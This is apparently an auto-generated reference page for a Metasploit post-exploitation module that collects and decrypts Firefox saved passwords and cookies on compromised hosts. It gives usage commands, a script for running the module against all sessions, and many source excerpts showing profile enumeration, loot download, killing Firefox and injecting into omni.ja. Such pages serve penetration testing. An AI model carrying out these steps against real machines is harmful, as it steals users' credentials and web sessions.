Multi Gather Firefox Signon Credential Collection - Metasploit
This page contains detailed information about how to use the post/multi/gather/firefox_creds metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Multi Gather Firefox Signon Credential Collection
Module: post/multi/gather/firefox_creds
Source code: modules/post/multi/gather/firefox_creds.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): BSD, Linux, OSX, Unix, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module will collect credentials from the Firefox web browser if it is installed on the targeted machine. Additionally, cookies are downloaded. Which could potentially yield valid web sessions. Firefox stores passwords within the signons.sqlite database file. There is also a keys3.db file which contains the key for decrypting these passwords. In cases where a Master Password has not been set, the passwords can easily be decrypted using 3rd party tools or by setting the DECRYPT option to true. Using the latter often needs root privileges. Also be warned that if your session dies in the middle of the file renaming process, this could leave Firefox in a non working state. If a Master Password was used the only option would be to bruteforce. Useful 3rd party tools: + firefox_decrypt (https://github.com/Unode/firefox_decrypt) + pswRecovery4Moz (https://github.com/philsmd/pswRecovery4Moz)
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/multi/gather/firefox_creds
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/multi/gather/firefox_creds
msf post(firefox_creds) > show options
... show and set options ...
msf post(firefox_creds) > set SESSION session-id
msf post(firefox_creds) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/multi/gather/firefox_creds")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Go back to menu.
Msfconsole Usage
Here is how the multi/gather/firefox_creds post exploitation module looks in the msfconsole:
msf6 > use post/multi/gather/firefox_creds
msf6 post(multi/gather/firefox_creds) > show info
Name: Multi Gather Firefox Signon Credential Collection
Module: post/multi/gather/firefox_creds
Platform: BSD, Linux, OSX, Unix, Windows
Arch:
Rank: Normal
Provided by:
bannedit <[email protected]>
xard4s
g0tmi1k
Compatible session types:
Meterpreter
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DECRYPT false no Decrypts passwords without third party tools
SESSION yes The session to run this module on.
Description:
This module will collect credentials from the Firefox web browser if
it is installed on the targeted machine. Additionally, cookies are
downloaded. Which could potentially yield valid web sessions.
Firefox stores passwords within the signons.sqlite database file.
There is also a keys3.db file which contains the key for decrypting
these passwords. In cases where a Master Password has not been set,
the passwords can easily be decrypted using 3rd party tools or by
setting the DECRYPT option to true. Using the latter often needs
root privileges. Also be warned that if your session dies in the
middle of the file renaming process, this could leave Firefox in a
non working state. If a Master Password was used the only option
would be to bruteforce. Useful 3rd party tools: + firefox_decrypt
(https://github.com/Unode/firefox_decrypt) + pswRecovery4Moz
(https://github.com/philsmd/pswRecovery4Moz)
Module Options
This is a complete list of options available in the multi/gather/firefox_creds post exploitation module:
msf6 post(multi/gather/firefox_creds) > show options
Module options (post/multi/gather/firefox_creds):
Name Current Setting Required Description
---- --------------- -------- -----------
DECRYPT false no Decrypts passwords without third party tools
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the multi/gather/firefox_creds post exploitation module:
msf6 post(multi/gather/firefox_creds) > show advanced
Module advanced options (post/multi/gather/firefox_creds):
Name Current Setting Required Description
---- --------------- -------- -----------
DISCLAIMER false no Acknowledge the DECRYPT warning
DOWNLOAD_TIMEOUT 20 yes Timeout to wait when downloading files through shell sessions
RECOVER false no Attempt to recover from bad DECRYPT when possible
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the multi/gather/firefox_creds module can do:
msf6 post(multi/gather/firefox_creds) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the multi/gather/firefox_creds post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(multi/gather/firefox_creds) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Only meterpreter sessions are supported on Windows hosts
- Unsupported platform: <SESSION.PLATFORM>
- No users found with a Firefox directory
- Detected <TEMP_FILE> without <ORG_FILE>. This is a good sign of previous DECRYPT attack gone wrong.
- If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE.
- Could not download <ORG_FILE>. File does not exist.
- Could not download: <VALUE>
- Tip: Try switching to a meterpreter shell if possible (as it's more reliable/stable when downloading)
- Error modifying: <TMP>
- Failed to inject
- This may take some time...
- Could not upload: <TMP>
- Decrypting the keys causes the remote Firefox process to be killed.
- If the user is paying attention, this could make them suspicious.
- In order to proceed, set the advanced option, DISCLAIMER, to TRUE.
- Detected <TEMP_FILE> already on the target. This could possible a possible backup of the original <ORG_FILE> from a bad DECRYPT attack.
- There is still <TEMP_FILE> on the target. Something went wrong.
- <ORG_FILE> is no longer at <VALUE>
- Session <SESSION> is not responding
- Firefox was not found (Missing profiles.ini)
- Firefox was not found
- Profiles directory is missing
- Failed to download <FILE>, if the file is very long, try increasing DOWNLOAD_TIMEOUT
- You may need SYSTEM privileges on this platform for the DECRYPT option to work
- You need ROOT privileges on this platform for DECRYPT option
- Sorry, BSD is not supported by the DECRYPT option
- No Firefox directory found
- Was not able to find '<OMNIJA_FILE>' in the compressed .JA file
- This could be due to a corrupt download or a unsupported Firefox/Iceweasel version
- No normal user found
- Could not kill Firefox process
- Could not kill Firefox process
- Missing loot file. Something went wrong.
- Detected backup file (<TEMP_FILE>) still on the target. Something went wrong.
- Unable to find <ORG_FILE> on target. Something went wrong.
- DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version.
- Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)
- No Firefox credentials where found
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Only meterpreter sessions are supported on Windows hosts
Here is a relevant code snippet related to the "Only meterpreter sessions are supported on Windows hosts" error message:
74: @platform = :unix
75: when 'osx'
76: @platform = :osx
77: when 'windows'
78: if session.type != "meterpreter"
79: print_error "Only meterpreter sessions are supported on Windows hosts"
80: return
81: end
82: @platform = :windows
83: else
84: print_error("Unsupported platform: #{session.platform}")
Unsupported platform: <SESSION.PLATFORM>
Here is a relevant code snippet related to the "Unsupported platform: <SESSION.PLATFORM>" error message:
79: print_error "Only meterpreter sessions are supported on Windows hosts"
80: return
81: end
82: @platform = :windows
83: else
84: print_error("Unsupported platform: #{session.platform}")
85: return
86: end
87:
88: if datastore['DECRYPT']
89: do_decrypt
No users found with a Firefox directory
Here is a relevant code snippet related to the "No users found with a Firefox directory" error message:
90: else # Non DECRYPT
91: paths = []
92: paths = enum_users
93:
94: if paths.nil? or paths.empty?
95: print_error("No users found with a Firefox directory")
96: return
97: end
98:
99: download_loot(paths.flatten)
100: end
Detected <TEMP_FILE> without <ORG_FILE>. This is a good sign of previous DECRYPT attack gone wrong.
Here is a relevant code snippet related to the "Detected <TEMP_FILE> without <ORG_FILE>. This is a good sign of previous DECRYPT attack gone wrong." error message:
115: return unless decrypt_get_env
116:
117: # Check target for the necessary files
118: if session.type == "meterpreter"
119: if session.fs.file.exist?(@paths['ff'] + temp_file) && !session.fs.file.exist?(@paths['ff'] + org_file)
120: print_error("Detected #{temp_file} without #{org_file}. This is a good sign of previous DECRYPT attack gone wrong.")
121: return
122: elsif session.fs.file.exist?(@paths['ff'] + temp_file)
123: decrypt_file_stats(temp_file, org_file, @paths['ff'])
124: if datastore['RECOVER']
125: return unless decrypt_recover_omni(temp_file, org_file)
If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE.
Here is a relevant code snippet related to the "If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE." error message:
122: elsif session.fs.file.exist?(@paths['ff'] + temp_file)
123: decrypt_file_stats(temp_file, org_file, @paths['ff'])
124: if datastore['RECOVER']
125: return unless decrypt_recover_omni(temp_file, org_file)
126: else
127: print_warning("If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE.")
128: return
129: end
130: elsif !session.fs.file.exist?(@paths['ff'] + org_file)
131: print_error("Could not download #{org_file}. File does not exist.")
132: return
Could not download <ORG_FILE>. File does not exist.
Here is a relevant code snippet related to the "Could not download <ORG_FILE>. File does not exist." error message:
126: else
127: print_warning("If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE.")
128: return
129: end
130: elsif !session.fs.file.exist?(@paths['ff'] + org_file)
131: print_error("Could not download #{org_file}. File does not exist.")
132: return
133: end
134: end # session.type == "meterpreter"
135:
136: session.type == "meterpreter" ? (size = "(%s MB)" % "%0.2f" % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = "")
Could not download: <VALUE>
Here is a relevant code snippet related to the "Could not download: <VALUE>" error message:
140: if session.type == "meterpreter" # If meterpreter is an option, lets use it!
141: session.fs.file.download_file(tmp, @paths['ff'] + org_file)
142: else # Fall back shells
143: omnija = read_file(@paths['ff'] + org_file)
144: if omnija.nil? or omnija.empty? or omnija =~ /No such file/i
145: print_error("Could not download: #{@paths['ff'] + org_file}")
146: print_error("Tip: Try switching to a meterpreter shell if possible (as it's more reliable/stable when downloading)") if session.type != "meterpreter"
147: return
148: end
149:
150: print_status("Saving #{org_file} to: #{tmp}")
Tip: Try switching to a meterpreter shell if possible (as it's more reliable/stable when downloading)
Here is a relevant code snippet related to the "Tip: Try switching to a meterpreter shell if possible (as it's more reliable/stable when downloading)" error message:
141: session.fs.file.download_file(tmp, @paths['ff'] + org_file)
142: else # Fall back shells
143: omnija = read_file(@paths['ff'] + org_file)
144: if omnija.nil? or omnija.empty? or omnija =~ /No such file/i
145: print_error("Could not download: #{@paths['ff'] + org_file}")
146: print_error("Tip: Try switching to a meterpreter shell if possible (as it's more reliable/stable when downloading)") if session.type != "meterpreter"
147: return
148: end
149:
150: print_status("Saving #{org_file} to: #{tmp}")
151: file_local_write(tmp, omnija)
Error modifying: <TMP>
Here is a relevant code snippet related to the "Error modifying: <TMP>" error message:
157: # Automatically commits the changes made to the zip archive when the block terminates
158: Zip::File.open(tmp) do |zip_file|
159: res = decrypt_modify_omnija(zip_file)
160: end
161: rescue Zip::Error => e
162: print_error("Error modifying: #{tmp}")
163: return
164: end
165:
166: if res
167: vprint_good("Successfully modified: #{tmp}")
Failed to inject
Here is a relevant code snippet related to the "Failed to inject" error message:
164: end
165:
166: if res
167: vprint_good("Successfully modified: #{tmp}")
168: else
169: print_error("Failed to inject")
170: return
171: end
172:
173: print_status("Uploading #{tmp} to: #{@paths['ff'] + new_file}")
174: print_warning("This may take some time...") if [:unix, :osx].include?(@platform)
This may take some time...
Here is a relevant code snippet related to the "This may take some time..." error message:
169: print_error("Failed to inject")
170: return
171: end
172:
173: print_status("Uploading #{tmp} to: #{@paths['ff'] + new_file}")
174: print_warning("This may take some time...") if [:unix, :osx].include?(@platform)
175:
176: if session.type == "meterpreter"
177: session.fs.file.upload_file(@paths['ff'] + new_file, tmp)
178: else
179: unless upload_file(@paths['ff'] + new_file, tmp)
Could not upload: <TMP>
Here is a relevant code snippet related to the "Could not upload: <TMP>" error message:
175:
176: if session.type == "meterpreter"
177: session.fs.file.upload_file(@paths['ff'] + new_file, tmp)
178: else
179: unless upload_file(@paths['ff'] + new_file, tmp)
180: print_error("Could not upload: #{tmp}")
181: return
182: end
183: end
184:
185: return unless decrypt_trigger_decrypt(org_file, new_file, temp_file)
Decrypting the keys causes the remote Firefox process to be killed.
Here is a relevant code snippet related to the "Decrypting the keys causes the remote Firefox process to be killed." error message:
187: decrypt_download_creds
188: end
189:
190: def decrypt_disclaimer
191: print_line
192: print_warning("Decrypting the keys causes the remote Firefox process to be killed.")
193: print_warning("If the user is paying attention, this could make them suspicious.")
194: print_warning("In order to proceed, set the advanced option, DISCLAIMER, to TRUE.")
195: print_line
196: end
197:
If the user is paying attention, this could make them suspicious.
Here is a relevant code snippet related to the "If the user is paying attention, this could make them suspicious." error message:
188: end
189:
190: def decrypt_disclaimer
191: print_line
192: print_warning("Decrypting the keys causes the remote Firefox process to be killed.")
193: print_warning("If the user is paying attention, this could make them suspicious.")
194: print_warning("In order to proceed, set the advanced option, DISCLAIMER, to TRUE.")
195: print_line
196: end
197:
198: def decrypt_file_stats(temp_file, org_file, path)
In order to proceed, set the advanced option, DISCLAIMER, to TRUE.
Here is a relevant code snippet related to the "In order to proceed, set the advanced option, DISCLAIMER, to TRUE." error message:
189:
190: def decrypt_disclaimer
191: print_line
192: print_warning("Decrypting the keys causes the remote Firefox process to be killed.")
193: print_warning("If the user is paying attention, this could make them suspicious.")
194: print_warning("In order to proceed, set the advanced option, DISCLAIMER, to TRUE.")
195: print_line
196: end
197:
198: def decrypt_file_stats(temp_file, org_file, path)
199: print_line
Detected <TEMP_FILE> already on the target. This could possible a possible backup of the original <ORG_FILE> from a bad DECRYPT attack.
Here is a relevant code snippet related to the "Detected <TEMP_FILE> already on the target. This could possible a possible backup of the original <ORG_FILE> from a bad DECRYPT attack." error message:
195: print_line
196: end
197:
198: def decrypt_file_stats(temp_file, org_file, path)
199: print_line
200: print_error("Detected #{temp_file} already on the target. This could possible a possible backup of the original #{org_file} from a bad DECRYPT attack.")
201: print_status("Size: #{session.fs.file.stat(@paths['ff'] + org_file).size}B (#{org_file})")
202: print_status("Size: #{session.fs.file.stat(@paths['ff'] + temp_file).size}B (#{temp_file})")
203: print_status("#{org_file} : Created- #{session.fs.file.stat(@paths['ff'] + org_file).ctime} Modified- #{session.fs.file.stat(@paths['ff'] + org_file).mtime} Accessed- #{session.fs.file.stat(@paths['ff'] + org_file).mtime}")
204: print_status("#{temp_file}: Created- #{session.fs.file.stat(@paths['ff'] + temp_file).ctime} Modified- #{session.fs.file.stat(@paths['ff'] + temp_file).mtime} Accessed- #{session.fs.file.stat(@paths['ff'] + temp_file).ctime}")
205: print_line
There is still <TEMP_FILE> on the target. Something went wrong.
Here is a relevant code snippet related to the "There is still <TEMP_FILE> on the target. Something went wrong." error message:
209: print_status("Restoring: #{@paths['ff'] + temp_file} (Possible backup)")
210: file_rm(@paths['ff'] + org_file)
211: rename_file(@paths['ff'] + temp_file, @paths['ff'] + org_file)
212:
213: if session.type == "meterpreter"
214: print_error("There is still #{temp_file} on the target. Something went wrong.") if session.fs.file.exist?(@paths['ff'] + temp_file)
215:
216: unless session.fs.file.exist?(@paths['ff'] + org_file)
217: print_error("#{org_file} is no longer at #{@paths['ff'] + org_file}")
218: return false
219: end
<ORG_FILE> is no longer at <VALUE>
Here is a relevant code snippet related to the "<ORG_FILE> is no longer at <VALUE>" error message:
212:
213: if session.type == "meterpreter"
214: print_error("There is still #{temp_file} on the target. Something went wrong.") if session.fs.file.exist?(@paths['ff'] + temp_file)
215:
216: unless session.fs.file.exist?(@paths['ff'] + org_file)
217: print_error("#{org_file} is no longer at #{@paths['ff'] + org_file}")
218: return false
219: end
220: end # session.type == "meterpreter"
221:
222: true
Session <SESSION> is not responding
Here is a relevant code snippet related to the "Session <SESSION> is not responding" error message:
225: def enum_users
226: paths = []
227: id = whoami
228:
229: if id.nil? or id.empty?
230: print_error("Session #{datastore['SESSION']} is not responding")
231: return
232: end
233:
234: if @platform == :windows
235: vprint_status("Searching every possible account on the target system")
Firefox was not found (Missing profiles.ini)
Here is a relevant code snippet related to the "Firefox was not found (Missing profiles.ini)" error message:
278: path = path + "\\Mozilla\\"
279: print_status("Checking for Firefox profile in: #{path}")
280:
281: stat = session.fs.file.stat(path + "Firefox\\profiles.ini") rescue nil
282: if !stat
283: print_error("Firefox was not found (Missing profiles.ini)")
284: return
285: end
286:
287: session.fs.dir.foreach(path) do |fdir|
288: # print_status("Found a Firefox directory: #{path + fdir}")
Firefox was not found
Here is a relevant code snippet related to the "Firefox was not found" error message:
289: ffpath << path + fdir
290: break
291: end
292:
293: if ffpath.empty?
294: print_error("Firefox was not found")
295: return
296: end
297:
298: # print_status("Locating Firefox profiles")
299: path << "Firefox\\Profiles\\"
Profiles directory is missing
Here is a relevant code snippet related to the "Profiles directory is missing" error message:
305:
306: vprint_good("Found profile: #{path + pdirs}")
307: paths << path + pdirs
308: end
309: rescue
310: print_error("Profiles directory is missing")
311: return
312: end
313:
314: paths.empty? ? (nil) : (paths)
315: end
Failed to download <FILE>, if the file is very long, try increasing DOWNLOAD_TIMEOUT
Here is a relevant code snippet related to the "Failed to download <FILE>, if the file is very long, try increasing DOWNLOAD_TIMEOUT" error message:
340: session.fs.file.download_file(p, path + "\\" + file)
341: print_good("Downloaded #{file}: #{p.to_s}")
342: else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)
343: loot = cmd_exec("cat #{path}//#{file}", nil, datastore['DOWNLOAD_TIMEOUT'])
344: if loot.nil? || loot.empty?
345: print_error("Failed to download #{file}, if the file is very long, try increasing DOWNLOAD_TIMEOUT")
346: else
347: p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}")
348: print_good("Downloaded #{file}: #{p.to_s}")
349: end
350: end
You may need SYSTEM privileges on this platform for the DECRYPT option to work
Here is a relevant code snippet related to the "You may need SYSTEM privileges on this platform for the DECRYPT option to work" error message:
361: loot_file = Rex::Text::rand_text_alpha(6) + ".txt"
362:
363: case @platform
364: when :windows
365: unless got_root || session.sys.config.sysinfo['OS'] =~ /xp/i
366: print_warning("You may need SYSTEM privileges on this platform for the DECRYPT option to work")
367: end
368:
369: env_vars = session.sys.config.getenvs('TEMP', 'SystemDrive')
370: tmpdir = env_vars['TEMP'] + "\\"
371: drive = env_vars['SystemDrive']
You need ROOT privileges on this platform for DECRYPT option
Here is a relevant code snippet related to the "You need ROOT privileges on this platform for DECRYPT option" error message:
373: # This way allows for more independent use of meterpreter payload (32 and 64 bit) and cleaner code
374: check_paths << drive + '\\Program Files\\Mozilla Firefox\\'
375: check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\'
376: when :unix
377: unless got_root
378: print_error("You need ROOT privileges on this platform for DECRYPT option")
379: return false
380: end
381: # Unix matches linux|unix|bsd but BSD is not supported
382: if session.platform =~ /bsd/
383: print_error("Sorry, BSD is not supported by the DECRYPT option")
Sorry, BSD is not supported by the DECRYPT option
Here is a relevant code snippet related to the "Sorry, BSD is not supported by the DECRYPT option" error message:
378: print_error("You need ROOT privileges on this platform for DECRYPT option")
379: return false
380: end
381: # Unix matches linux|unix|bsd but BSD is not supported
382: if session.platform =~ /bsd/
383: print_error("Sorry, BSD is not supported by the DECRYPT option")
384: return false
385: end
386:
387: tmpdir = '/tmp/'
388:
No Firefox directory found
Here is a relevant code snippet related to the "No Firefox directory found" error message:
405: false
406: end
407: end
408:
409: if @paths['ff'].nil?
410: print_error("No Firefox directory found")
411: return false
412: end
413:
414: @paths['loot'] = tmpdir + loot_file
415:
Was not able to find '<OMNIJA_FILE>' in the compressed .JA file
Here is a relevant code snippet related to the "Was not able to find '<OMNIJA_FILE>' in the compressed .JA file" error message:
430: fdata = {}
431: begin
432: fdata['content'] = zip.read(omnija_file) unless omnija_file =~ /jsloader/
433: fdata['outs'] = zip.get_output_stream(omnija_file)
434: rescue
435: print_error("Was not able to find '#{omnija_file}' in the compressed .JA file")
436: print_error("This could be due to a corrupt download or a unsupported Firefox/Iceweasel version")
437: return false
438: end
439: fdata
440: end
This could be due to a corrupt download or a unsupported Firefox/Iceweasel version
Here is a relevant code snippet related to the "This could be due to a corrupt download or a unsupported Firefox/Iceweasel version" error message:
431: begin
432: fdata['content'] = zip.read(omnija_file) unless omnija_file =~ /jsloader/
433: fdata['outs'] = zip.get_output_stream(omnija_file)
434: rescue
435: print_error("Was not able to find '#{omnija_file}' in the compressed .JA file")
436: print_error("This could be due to a corrupt download or a unsupported Firefox/Iceweasel version")
437: return false
438: end
439: fdata
440: end
441:
No normal user found
Here is a relevant code snippet related to the "No normal user found" error message:
542: when :unix
543: # Assuming userdir /home/(x) = user
544: print_status("Enumerating users")
545: homedirs = cmd_exec("find /home -maxdepth 1 -mindepth 1 -type d 2>/dev/null").gsub(/.*\//, "")
546: if homedirs.nil? or homedirs.empty?
547: print_error("No normal user found")
548: return false
549: end
550: user = nil
551: # Skip home directories which contain a space, as those are likely not usernames...
552: homedirs.each_line do |homedir|
Could not kill Firefox process
Here is a relevant code snippet related to the "Could not kill Firefox process" error message:
568: if session.type == "meterpreter"
569: session.sys.process.each_process do |p|
570: if p['name'] =~ /firefox\.exe/
571: print_status("Found running Firefox process, attempting to kill.")
572: unless session.sys.process.kill(p['pid'])
573: print_error("Could not kill Firefox process")
574: return false
575: end
576: end
577: end
578: else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)
Could not kill Firefox process
Here is a relevant code snippet related to the "Could not kill Firefox process" error message:
579: p = cmd_exec("ps", "cax | grep firefox")
580: if p =~ /firefox/
581: print_status("Found running Firefox process, attempting to kill.")
582: term = cmd_exec("killall", "firefox && echo true")
583: if term !~ /true/
584: print_error("Could not kill Firefox process")
585: return false
586: end
587: end
588: end
589: sleep(1)
Missing loot file. Something went wrong.
Here is a relevant code snippet related to the "Missing loot file. Something went wrong." error message:
612: while (!session.fs.file.exist?(@paths['loot']))
613: sleep 1
614: i -= 1
615: break if i == 0
616: end
617: print_error("Missing loot file. Something went wrong.") unless session.fs.file.exist?(@paths['loot'])
618: end # session.type == "meterpreter"
619:
620: print_status("Restoring original .JA: #{temp_file}")
621: rename_file(org_file, new_file)
622: rename_file(temp_file, org_file)
Detected backup file (<TEMP_FILE>) still on the target. Something went wrong.
Here is a relevant code snippet related to the "Detected backup file (<TEMP_FILE>) still on the target. Something went wrong." error message:
624: # Clean up
625: vprint_status("Cleaning up: #{new_file}")
626: file_rm(new_file)
627: if session.type == "meterpreter"
628: if session.fs.file.exist?(temp_file)
629: print_error("Detected backup file (#{temp_file}) still on the target. Something went wrong.")
630: end
631: unless session.fs.file.exist?(org_file)
632: print_error("Unable to find #{org_file} on target. Something went wrong.")
633: end
634: end # session.type == "meterpreter"
Unable to find <ORG_FILE> on target. Something went wrong.
Here is a relevant code snippet related to the "Unable to find <ORG_FILE> on target. Something went wrong." error message:
627: if session.type == "meterpreter"
628: if session.fs.file.exist?(temp_file)
629: print_error("Detected backup file (#{temp_file}) still on the target. Something went wrong.")
630: end
631: unless session.fs.file.exist?(org_file)
632: print_error("Unable to find #{org_file} on target. Something went wrong.")
633: end
634: end # session.type == "meterpreter"
635:
636: # At this time, there should have a loot file
637: if session.type == "meterpreter"
DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version.
Here is a relevant code snippet related to the "DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version." error message:
634: end # session.type == "meterpreter"
635:
636: # At this time, there should have a loot file
637: if session.type == "meterpreter"
638: unless session.fs.file.exist?(@paths['loot'])
639: print_error("DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version.")
640: # Another issue is encoding. The files may be seen as 'data' rather than 'ascii'
641: print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)") if session.type != "meterpreter"
642: return false
643: end
644: end
Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)
Here is a relevant code snippet related to the "Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)" error message:
636: # At this time, there should have a loot file
637: if session.type == "meterpreter"
638: unless session.fs.file.exist?(@paths['loot'])
639: print_error("DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version.")
640: # Another issue is encoding. The files may be seen as 'data' rather than 'ascii'
641: print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)") if session.type != "meterpreter"
642: return false
643: end
644: end
645:
646: true
No Firefox credentials where found
Here is a relevant code snippet related to the "No Firefox credentials where found" error message:
649: def decrypt_download_creds
650: print_good("Downloading loot: #{@paths['loot']}")
651: loot = read_file(@paths['loot'])
652:
653: if loot =~ /no creds/
654: print_status("No Firefox credentials where found")
655: return
656: end
657:
658: # Better delete the remote creds file
659: vprint_status("Cleaning up: #{@paths['loot']}")
Go back to menu.
Related Pull Requests
- #14877 Merged Pull Request: Support more recent versions of Firefox's default profile directory
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #8019 Merged Pull Request: Try harder to get user id, correctly handle dirs with spaces.
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #7200 Merged Pull Request: Rex::Ui::Text cleanup
- #6814 Merged Pull Request: Modify stdapi so it also uses exist? over exists? for ruby parity
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5720 Merged Pull Request: Fix Firefox_Creds
- #2782 Merged Pull Request: Stop abusing expand path
- #2525 Merged Pull Request: Change module boilerplate
- #2417 Merged Pull Request: Prefer Ruby style for single word collections
- #2304 Merged Pull Request: Fix load order in posts, hopefully forever
Go back to menu.
See Also
Check also the following modules related to this module:
- post/firefox/gather/cookies
- post/firefox/gather/history
- post/firefox/gather/passwords
- post/firefox/gather/xss
- post/firefox/manage/webcam_chat
- post/multi/gather/apple_ios_backup
- post/multi/gather/aws_ec2_instance_metadata
- post/multi/gather/aws_keys
- post/multi/gather/check_malware
- post/multi/gather/chrome_cookies
- post/multi/gather/dbvis_enum
- post/multi/gather/dns_bruteforce
- post/multi/gather/dns_reverse_lookup
- post/multi/gather/dns_srv_lookup
- post/multi/gather/docker_creds
- post/multi/gather/enum_hexchat
- post/multi/gather/enum_software_versions
- post/multi/gather/enum_vbox
- post/multi/gather/env
- post/multi/gather/fetchmailrc_creds
- post/multi/gather/filezilla_client_cred
- post/multi/gather/find_vmx
- post/multi/gather/gpg_creds
- post/multi/gather/grub_creds
- post/multi/gather/irssi_creds
- post/multi/gather/jboss_gather
- post/multi/gather/jenkins_gather
- post/multi/gather/lastpass_creds
- post/multi/gather/maven_creds
- post/multi/gather/multi_command
- post/multi/gather/netrc_creds
- post/multi/gather/pgpass_creds
- post/multi/gather/pidgin_cred
- post/multi/gather/ping_sweep
- post/multi/gather/remmina_creds
- post/multi/gather/resolve_hosts
- post/multi/gather/rsyncd_creds
- post/multi/gather/rubygems_api_key
- post/multi/gather/run_console_rc_file
- post/multi/gather/saltstack_salt
- post/multi/gather/skype_enum
- post/multi/gather/ssh_creds
- post/multi/gather/thunderbird_creds
- post/multi/gather/tomcat_gather
- post/multi/gather/ubiquiti_unifi_backup
- post/multi/gather/unix_cached_ad_hashes
- post/multi/gather/unix_kerberos_tickets
- post/multi/gather/wlan_geolocate
Authors
- bannedit
- xard4s
- g0tmi1k
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.